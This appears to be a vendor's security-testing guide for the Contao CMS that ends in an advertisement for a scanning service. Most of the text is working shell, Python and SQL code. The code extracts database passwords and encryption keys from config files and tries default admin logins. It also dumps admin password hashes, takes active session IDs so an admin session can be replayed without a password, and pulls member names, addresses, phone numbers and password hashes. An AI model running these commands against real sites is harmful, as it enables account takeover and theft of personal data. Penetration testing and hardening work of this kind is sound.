Contao CMS Security Testing: Default Credentials, API Key, Database, and CMS

Contao is a widely used PHP CMS especially popular in German-speaking markets (DACH region) for government, corporate, and institutional websites. Key assessment areas: system/config/localconfig.php exposes MySQL credentials ($dbPass); the install tool at /contao/install provides full database reconfiguration; tl_user stores admin accounts with bcrypt (Contao 4.8+) or SHA-512+salt hashes; tl_session holds active session IDs enabling replay attacks; and tl_member stores frontend member accounts with PII. This guide covers systematic Contao CMS security assessment.

Table of Contents

  1. localconfig.php MySQL Credential and Install Tool Assessment
  2. Admin Panel and File Manager Assessment
  3. MySQL tl_user Hash and tl_session Token Extraction
  4. Contao Security Hardening

localconfig.php MySQL Credential and Install Tool Assessment

# Contao CMS — localconfig.php MySQL credential extraction and install tool
CONTAO_URL="https://site.example.com"

# Contao 3.x: system/config/localconfig.php
python3 -c "
import re
content = open('/var/www/contao/system/config/localconfig.php').read()
for var in ['dbUser', 'dbPass', 'dbDatabase', 'dbHost', 'dbPort', 'encryptionKey']:
    m = re.search(f\"\\\\\\$GLOBALS\\['TL_CONFIG'\\]\\['{var}'\\]\s*=\s*'([^']+)'\", content)
    if m: print(f'{var}: {m.group(1)[:60]}')
" 2>/dev/null
# \$GLOBALS['TL_CONFIG']['dbPass'] = 'mysql-password';   <-- MySQL password (CRITICAL)
# \$GLOBALS['TL_CONFIG']['encryptionKey'] = 'hex-key';   <-- Data encryption key

# Contao 4.x+ uses .env
cat /var/www/contao/.env 2>/dev/null | \
  grep -E "DATABASE_URL|APP_SECRET|MAILER_"
# DATABASE_URL=mysql://contao:password@localhost/contao

# Check localconfig web access (must return 403)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CONTAO_URL}/system/config/localconfig.php" 2>/dev/null)
echo "/system/config/localconfig.php: HTTP ${STATUS}"

# Contao Install Tool at /contao/install (protected by install tool password)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CONTAO_URL}/contao/install" 2>/dev/null)
echo "/contao/install: HTTP ${STATUS}"

# Test admin credentials at /contao/login (Contao 4.x)
for CRED in "admin:admin" "admin@example.com:password"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${CONTAO_URL}/contao/login_check" \
    -d "_username=${EMAIL}&_password=${PASS}" \
    -c /tmp/contao_c -b /tmp/contao_c -L 2>/dev/null)
  echo "${EMAIL}/${PASS}: HTTP ${STATUS}"
done

Admin Panel and File Manager Assessment

# Contao admin panel — file manager and extension assessment
CONTAO_URL="https://site.example.com"

# Contao admin at /contao (Contao 4.x+) or /typolight (very old)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CONTAO_URL}/contao" 2>/dev/null)
echo "/contao: HTTP ${STATUS}"

# Contao File Manager (/contao?do=files)
# Admin access required; uploads to files/ directory (web-accessible)
# File type restriction: configured in System → Settings → Allowed file types
# Test PHP execution in files/ directory
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CONTAO_URL}/files/test.php" 2>/dev/null)
echo "/files/test.php: HTTP ${STATUS}"

# Contao Extension Repository — install PHP extensions via admin
# Admin session required
ADMIN_SESS="extracted-contao-session"
curl -s "${CONTAO_URL}/contao?do=repository_manager" \
  -b "PHP_SESSION_ID=${ADMIN_SESS}" 2>/dev/null | head -5

# Contao version disclosure
curl -s "${CONTAO_URL}/contao" 2>/dev/null | \
  grep -oP 'Contao[\s/]*\K[\d.]+' | head -1
# Also visible in composer.lock or vendor/contao/core-bundle/composer.json
cat /var/www/contao/vendor/contao/core-bundle/composer.json 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print('version:', d.get('version'))"

MySQL tl_user Hash and tl_session Token Extraction

# Contao CMS MySQL database — tl_user hash and tl_session token extraction
DB_PASS="extracted-db-password"

mysql -u contao -p"${DB_PASS}" contao 2>/dev/null << 'EOF'
-- tl_user — Contao backend (admin) user accounts
SELECT u.id, u.name, u.username, u.email, u.password,
       u.admin,          -- 1 = super-admin (full backend access)
       u.groups,         -- JSON array of group IDs
       u.lastLogin, u.currentLogin,
       u.loginAttempts,  -- failed login counter
       u.locked,
       u.disable
FROM tl_user u
WHERE u.disable = ''
ORDER BY u.admin DESC, u.id;
-- password: bcrypt ($2y$10$...) in Contao 4.8+
-- SHA-512+salt in older Contao (128-char hex)
-- admin=1: unrestricted backend access including extension installation

-- tl_session — active backend sessions
SELECT s.sessionID, s.pid, s.tstamp,
       s.ip, s.ua,
       u.username, u.admin
FROM tl_session s
JOIN tl_user u ON u.id = s.pid
WHERE s.tstamp > UNIX_TIMESTAMP(NOW() - INTERVAL 1 HOUR)
ORDER BY s.tstamp DESC;
-- sessionID: PHP session ID — set as PHP_SESSION_ID cookie for admin panel replay

-- tl_member — frontend member accounts (website users)
SELECT m.id, m.username, m.email, m.password,
       m.firstname, m.lastname, m.phone, m.mobile,
       m.street, m.city, m.postal, m.country,
       m.company, m.dateAdded, m.lastLogin
FROM tl_member m
WHERE m.disable = '' AND m.login = 1
ORDER BY m.id
LIMIT 20;
-- All frontend member accounts including PII and bcrypt password hashes
-- loginAttempts and locked fields — may reveal security event patterns

-- tl_log — Contao system log (may contain credential data)
SELECT l.id, l.tstamp, l.source, l.action, l.text
FROM tl_log l
WHERE l.text LIKE '%password%' OR l.text LIKE '%login%'
ORDER BY l.tstamp DESC
LIMIT 20;
EOF

Contao Security Hardening

Contao Security Hardening Checklist:
Security TestMethodRisk
system/config/localconfig.php MySQL $dbPass and encryptionKey extractionRead localconfig.php — $dbPass + encryptionKey; full database access to tl_user hashes and tl_session active tokens; encrypted field decryptionCritical
Contao install tool /contao/install accessibility with default passwordGET /contao/install — if accessible, full database reconfiguration and admin user creation without existing credentialsCritical
tl_session active PHP session ID extraction for backend replayMySQL SELECT sessionID FROM tl_session JOIN tl_user WHERE admin=1 — set as session cookie for instant admin panel access without passwordHigh
tl_user SHA-512 or bcrypt hash extraction with admin=1 identificationMySQL SELECT password FROM tl_user WHERE admin=1 — SHA-512 (128-char hex) in Contao <4.8 cracks quickly on GPU; bcrypt ($2y$) in 4.8+High
tl_member frontend member PII and password hash extractionMySQL SELECT email, firstname, lastname, phone, password FROM tl_member — all website member accounts with PII and password hashesHigh

Automate Contao Security Testing

Ironimo tests Contao deployments for system/config/localconfig.php MySQL $dbPass and encryptionKey web and filesystem extraction, Contao install tool /contao/install accessibility and default password testing, admin credential brute-force at /contao/login_check, tl_user SHA-512 or bcrypt hash extraction with admin=1 superadmin identification, tl_session active PHP session ID enumeration enabling backend replay without password, tl_member frontend user PII and credential extraction, files/ directory PHP execution verification, /system/config/ web accessibility check, Contao extension inventory for CVE detection, and Contao version disclosure via composer.json for security advisory targeting.

Start free scan